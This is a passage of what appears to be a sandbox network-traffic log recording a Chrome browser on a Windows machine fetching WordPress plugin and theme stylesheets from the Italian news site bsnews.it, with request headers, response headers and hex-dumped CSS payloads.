2024-03-28 08:50:59 UTC	680	OUT	GET /wp-content/plugins/wp-bannerize-pro/public/css/wp-bannerize-admin-bar.min.css?ver=1.6.9 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:59 UTC	695	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/css Content-Length: 102 Connection: close last-modified: Wed, 27 Jul 2022 18:33:27 GMT etag: "62e184f7-66" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4689 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eeeKRSuDfZlEDjk7saGeeE9D3Viz8yb8Z19ZAvBpzCoiJxVGD37iSttq36PNLRRdW%2FRzk5sty98UEEG8fe8%2FMMisfnlCv0FSj3leuDxyB2QLtwZ2Q8%2FvDZM%2FmsA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66033b9a957fa-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:50:59 UTC	102	IN	Data Raw: 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 70 2d 62 61 6e 6e 65 72 69 7a 65 2d 70 72 6f 2d 70 61 72 65 6e 74 2d 61 64 6d 69 6e 2d 6d 65 6e 75 20 2e 61 62 2d 69 63 6f 6e 3a 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 32 22 3b 74 6f 70 3a 33 70 78 7d Data Ascii: #wpadminbar #wp-admin-bar-wp-bannerize-pro-parent-admin-menu .ab-icon::before{content:"\f232";top:3px}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	670	OUT	GET /wp-content/plugins/wp-bannerize-pro/public/css/wp-bannerize.min.css?ver=1.6.9 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:59 UTC	698	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/css Content-Length: 335 Connection: close last-modified: Wed, 27 Jul 2022 18:33:27 GMT etag: "62e184f7-14f" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4689 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2ggQ4k%2FjzX9UCFizhX1YZFrmx85V136ag%2BJoxoDQTyB3bMg2i0nzfen3eG%2Bjnm%2BjOVK9EhVcSSsyab0u4axqmbeO%2BdiErMPmpir2riazbrzPSLFLAmTJEwCDtAU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66033cb1d591a-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:50:59 UTC	335	IN	Data Raw: 2e 77 70 5f 62 61 6e 6e 65 72 69 7a 65 5f 6c 61 79 6f 75 74 5f 76 65 72 74 69 63 61 6c 20 69 6d 67 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 7d 2e 77 70 5f 62 61 6e 6e 65 72 69 7a 65 5f 6c 61 79 6f 75 74 5f 68 6f 72 69 7a 6f 6e 74 61 6c 3a 61 66 74 65 72 2c 2e 77 70 5f 62 61 6e 6e 65 72 69 7a 65 5f 6c 61 79 6f 75 74 5f 68 6f 72 69 7a 6f 6e 74 61 6c 3a 62 65 66 6f 72 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6e 74 65 6e 74 3a 22 22 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 77 70 5f 62 61 6e 6e 65 72 69 7a 65 5f 6c 61 79 6f 75 74 5f 68 6f 72 69 7a 6f 6e 74 61 6c 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 Data Ascii: .wp_bannerize_layout_vertical img{display:block;margin:0 auto}.wp_bannerize_layout_horizontal:after,.wp_bannerize_layout_horizontal:before{display:table!important;line-height:0!important;content:""!important}.wp_bannerize_layout_horizontal:after{clear:bot

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	645	OUT	GET /wp-content/plugins/wp-polls/polls-css.css?ver=2.77.2 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:59 UTC	725	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=2708 etag: W/"64d44371-a94" last-modified: Thu, 10 Aug 2023 01:54:57 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3677 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yLcyyobENXq%2BKvV3Ma0x4OmddBKMSzllyYUxZv3DALmm0nMEgvlBOq%2BT0WmXFcHk9u3rLx3ty26tX1HsHwCJ8WIEuVeomAGnDpb66vev0ZibkCuWQDDRJ7%2BIXfs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66033cea52030-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:50:59 UTC	644	IN	Data Raw: 36 32 61 0d 0a 2e 77 70 2d 70 6f 6c 6c 73 2d 61 72 63 68 69 76 65 7b 7d 2e 77 70 2d 70 6f 6c 6c 73 2c 2e 77 70 2d 70 6f 6c 6c 73 2d 66 6f 72 6d 7b 7d 2e 77 70 2d 70 6f 6c 6c 73 20 75 6c 20 6c 69 2c 2e 77 70 2d 70 6f 6c 6c 73 2d 75 6c 20 6c 69 2c 2e 77 70 2d 70 6f 6c 6c 73 2d 61 6e 73 20 75 6c 20 6c 69 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6e 6f 6e 65 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 70 2d 70 6f 6c 6c 73 20 75 6c 2c 2e 77 70 2d 70 6f 6c 6c 73 2d 75 6c 2c 2e 77 70 2d 70 6f 6c 6c 73 2d 61 6e 73 20 75 6c 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 66 6c 6f 61 74 3a 6e 6f 6e 65 7d 2e 77 70 2d 70 6f 6c 6c 73 20 75 6c 20 6c 69 Data Ascii: 62a.wp-polls-archive{}.wp-polls,.wp-polls-form{}.wp-polls ul li,.wp-polls-ul li,.wp-polls-ans ul li{text-align:left;background-image:none;display:block}.wp-polls ul,.wp-polls-ul,.wp-polls-ans ul{text-align:left;list-style:none;float:none}.wp-polls ul li
2024-03-28 08:50:59 UTC	941	IN	Data Raw: 65 69 67 68 74 3a 31 36 70 78 7d 2e 77 70 2d 70 6f 6c 6c 73 2d 69 6d 61 67 65 7b 62 6f 72 64 65 72 3a 30 7d 2e 77 70 2d 70 6f 6c 6c 73 20 2e 42 75 74 74 6f 6e 73 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 38 63 38 63 38 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 33 66 36 66 38 7d 2e 77 70 2d 70 6f 6c 6c 73 2d 70 61 67 69 6e 67 20 61 2c 2e 77 70 2d 70 6f 6c 6c 73 2d 70 61 67 69 6e 67 20 61 3a 6c 69 6e 6b 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 34 70 78 3b 6d 61 72 67 69 6e 3a 32 70 78 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 30 36 63 3b 63 6f 6c 6f 72 3a 23 30 36 63 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 77 70 2d Data Ascii: eight:16px}.wp-polls-image{border:0}.wp-polls .Buttons{border:1px solid #c8c8c8;background-color:#f3f6f8}.wp-polls-paging a,.wp-polls-paging a:link{padding:2px 4px;margin:2px;text-decoration:none;border:1px solid #06c;color:#06c;background-color:#fff}.wp-
2024-03-28 08:50:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	687	OUT	GET /wp-content/plugins/td-composer/td-multi-purpose/style.css?ver=6217cd4d7820e3bfbc83cc495211f01b HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:59 UTC	725	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=38728 etag: W/"65f20638-9748" last-modified: Wed, 13 Mar 2024 20:02:00 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4508 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=78Mqdc25y1BT8aKqyZelFpTQjrklezBAXqp5u5D6ljfIaq9wiMnPik4TGXzbD5HIlEFmlPriBOhpibZbQAbD%2Fkm2y9UZZwxP9fCLBjDe0H5bXfa7tK5xWiTW%2B8s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66033ec7a1783-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:50:59 UTC	644	IN	Data Raw: 37 63 64 66 0d 0a 2e 63 6c 65 61 72 66 69 78 7b 2a 7a 6f 6f 6d 3a 31 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 2c 2e 63 6c 65 61 72 66 69 78 3a 62 65 66 6f 72 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 27 27 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 33 20 2e 74 64 2d 61 66 66 69 78 20 2e 74 64 2d 6d 61 69 6e 2d 6d 65 6e 75 2d 6c 6f 67 6f 20 69 6d 67 7b 74 6f 70 3a 30 7d 7d 40 2d 6d 6f 7a 2d 64 6f 63 75 6d 65 6e 74 20 75 72 6c 2d 70 72 65 66 69 78 28 29 7b 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 Data Ascii: 7cdf.clearfix{*zoom:1}.clearfix:after,.clearfix:before{display:table;content:'';line-height:0}.clearfix:after{clear:both}@media(min-width:768px){.tdm-header-style-3 .td-affix .td-main-menu-logo img{top:0}}@-moz-document url-prefix(){@media(min-width:768
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 6e 2d 6d 65 6e 75 2d 6c 6f 67 6f 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 33 20 2e 74 64 2d 6d 61 69 6e 2d 6d 65 6e 75 2d 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 34 32 70 78 3b 68 65 69 67 68 74 3a 38 30 70 78 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 31 39 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 31 34 30 70 78 29 7b 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 74 64 2d 6d 61 69 6e 2d 6d 65 6e 75 2d 6c 6f 67 6f 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 74 64 2d 6d 61 69 6e 2d 6d 65 6e 75 2d 6c 6f 67 6f 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 33 20 2e 74 64 2d 6d 61 69 6e 2d 6d 65 6e 75 2d Data Ascii: n-menu-logo,.tdm-header-style-3 .td-main-menu-logo{display:block;margin-right:42px;height:80px}@media(min-width:1019px) and (max-width:1140px){.tdm-header-style-1 .td-main-menu-logo,.tdm-header-style-2 .td-main-menu-logo,.tdm-header-style-3 .td-main-menu-
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 64 65 72 2d 73 70 2d 72 65 63 73 7b 6d 61 72 67 69 6e 3a 32 34 70 78 20 61 75 74 6f 20 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 30 31 38 70 78 29 7b 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 33 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 7b 6d 61 72 67 69 6e 3a 31 34 70 78 20 61 75 74 6f 20 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 Data Ascii: der-sp-recs{margin:24px auto 0!important}}@media(min-width:768px) and (max-width:1018px){.tdm-header-style-1 .td-header-sp-recs,.tdm-header-style-2 .td-header-sp-recs,.tdm-header-style-3 .td-header-sp-recs{margin:14px auto 0!important}}.tdm-header-style-1
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 72 65 6c 61 74 69 76 65 7d 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 74 64 2d 61 2d 72 65 63 2d 69 64 2d 68 65 61 64 65 72 20 2e 61 64 73 62 79 67 6f 6f 67 6c 65 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 74 64 2d 67 2d 72 65 63 2d 69 64 2d 68 65 61 64 65 72 20 2e 61 64 73 62 79 67 6f 6f 67 6c 65 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 74 64 2d 61 2d 72 65 63 2d 69 64 2d 68 65 61 64 65 72 20 2e 61 64 73 62 79 67 6f 6f 67 6c 65 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 74 64 2d 67 2d 72 65 63 2d 69 64 2d 68 65 61 64 65 72 20 2e 61 64 73 62 79 67 6f 6f 67 6c 65 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 33 20 2e 74 64 2d 61 2d 72 65 63 2d 69 64 2d 68 Data Ascii: relative}.tdm-header-style-1 .td-a-rec-id-header .adsbygoogle,.tdm-header-style-1 .td-g-rec-id-header .adsbygoogle,.tdm-header-style-2 .td-a-rec-id-header .adsbygoogle,.tdm-header-style-2 .td-g-rec-id-header .adsbygoogle,.tdm-header-style-3 .td-a-rec-id-h
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 20 2e 73 66 2d 6d 65 6e 75 3e 6c 69 3e 61 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 38 30 70 78 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 31 39 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 31 34 30 70 78 29 7b 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 73 66 2d 6d 65 6e 75 3e 6c 69 3e 61 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 73 66 2d 6d 65 6e 75 3e 6c 69 3e 61 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 33 20 2e 73 66 2d 6d 65 6e 75 3e 6c 69 3e 61 7b 70 61 64 64 69 6e 67 3a 30 20 31 32 70 78 7d 7d 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 73 66 2d 6d 65 6e 75 20 61 2e 73 66 2d 77 69 74 68 2d 75 6c 2c 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 Data Ascii: .sf-menu>li>a{line-height:80px}@media(min-width:1019px) and (max-width:1140px){.tdm-header-style-1 .sf-menu>li>a,.tdm-header-style-2 .sf-menu>li>a,.tdm-header-style-3 .sf-menu>li>a{padding:0 12px}}.tdm-header-style-1 .sf-menu a.sf-with-ul,.tdm-header-sty
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 30 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 73 69 6e 67 6c 65 5f 74 65 6d 70 6c 61 74 65 5f 31 30 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 73 69 6e 67 6c 65 5f 74 65 6d 70 6c 61 74 65 5f 31 30 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 33 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 73 69 6e 67 6c 65 5f 74 65 6d 70 6c 61 74 65 5f 31 31 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 73 69 6e 67 6c 65 5f 74 65 6d 70 6c 61 74 65 5f 31 31 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 Data Ascii: 0 .tdm-header-style-1 .td-header-sp-recs,.single_template_10 .tdm-header-style-2 .td-header-sp-recs,.single_template_10 .tdm-header-style-3 .td-header-sp-recs,.single_template_11 .tdm-header-style-1 .td-header-sp-recs,.single_template_11 .tdm-header-style
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 65 67 6f 72 79 5f 74 65 6d 70 6c 61 74 65 5f 36 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 33 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 74 64 5f 63 61 74 65 67 6f 72 79 5f 74 65 6d 70 6c 61 74 65 5f 38 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 74 64 5f 63 61 74 65 67 6f 72 79 5f 74 65 6d 70 6c 61 74 65 5f 38 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 74 64 5f 63 61 74 65 67 6f 72 79 5f 74 65 6d 70 6c 61 74 65 5f 38 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 33 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 7b 7d 40 6d 65 64 69 61 28 6d 69 Data Ascii: egory_template_6 .tdm-header-style-3 .td-header-sp-recs,.td_category_template_8 .tdm-header-style-1 .td-header-sp-recs,.td_category_template_8 .tdm-header-style-2 .td-header-sp-recs,.td_category_template_8 .tdm-header-style-3 .td-header-sp-recs{}@media(mi
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 74 65 67 6f 72 79 5f 74 65 6d 70 6c 61 74 65 5f 32 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 74 64 5f 63 61 74 65 67 6f 72 79 5f 74 65 6d 70 6c 61 74 65 5f 32 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 74 64 5f 63 61 74 65 67 6f 72 79 5f 74 65 6d 70 6c 61 74 65 5f 32 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 33 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 74 64 5f 63 61 74 65 67 6f 72 79 5f 74 65 6d 70 6c 61 74 65 5f 35 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 74 64 5f 63 61 74 65 67 Data Ascii: tegory_template_2 .tdm-header-style-1 .td-header-sp-recs,.td_category_template_2 .tdm-header-style-2 .td-header-sp-recs,.td_category_template_2 .tdm-header-style-3 .td-header-sp-recs,.td_category_template_5 .tdm-header-style-1 .td-header-sp-recs,.td_categ
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 2d 73 74 79 6c 65 2d 33 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 73 69 6e 67 6c 65 5f 74 65 6d 70 6c 61 74 65 5f 36 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 73 69 6e 67 6c 65 5f 74 65 6d 70 6c 61 74 65 5f 36 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 73 69 6e 67 6c 65 5f 74 65 6d 70 6c 61 74 65 5f 36 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 33 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d 72 65 63 73 2c 2e 73 69 6e 67 6c 65 5f 74 65 6d 70 6c 61 74 65 5f 37 20 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 31 20 2e 74 64 2d 68 65 61 64 65 72 2d 73 70 2d Data Ascii: -style-3 .td-header-sp-recs,.single_template_6 .tdm-header-style-1 .td-header-sp-recs,.single_template_6 .tdm-header-style-2 .td-header-sp-recs,.single_template_6 .tdm-header-style-3 .td-header-sp-recs,.single_template_7 .tdm-header-style-1 .td-header-sp-
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 73 74 79 6c 65 2d 32 20 2e 74 64 2d 6c 6f 67 6f 2d 69 6e 2d 6d 65 6e 75 7b 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 74 64 2d 6c 6f 67 6f 2d 69 6e 2d 6d 65 6e 75 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 32 30 70 78 7d 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 23 74 64 2d 68 65 61 64 65 72 2d 6d 65 6e 75 3e 64 69 76 3e 2e 73 66 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 7d 7d 2e 74 64 6d 2d 68 65 61 64 65 72 2d 73 74 79 6c 65 2d 32 20 2e 74 64 6d 2d 6d 65 6e 75 2d 62 Data Ascii: style-2 .td-logo-in-menu{}@media(min-width:767px){.tdm-header-style-2 .td-logo-in-menu{position:absolute;top:0;left:20px}}@media(min-width:767px){.tdm-header-style-2 #td-header-menu>div>.sf-menu{display:table;margin:0 auto}}.tdm-header-style-2 .tdm-menu-b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	641	OUT	GET /wp-content/themes/Newspaper/style.css?ver=12.6.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
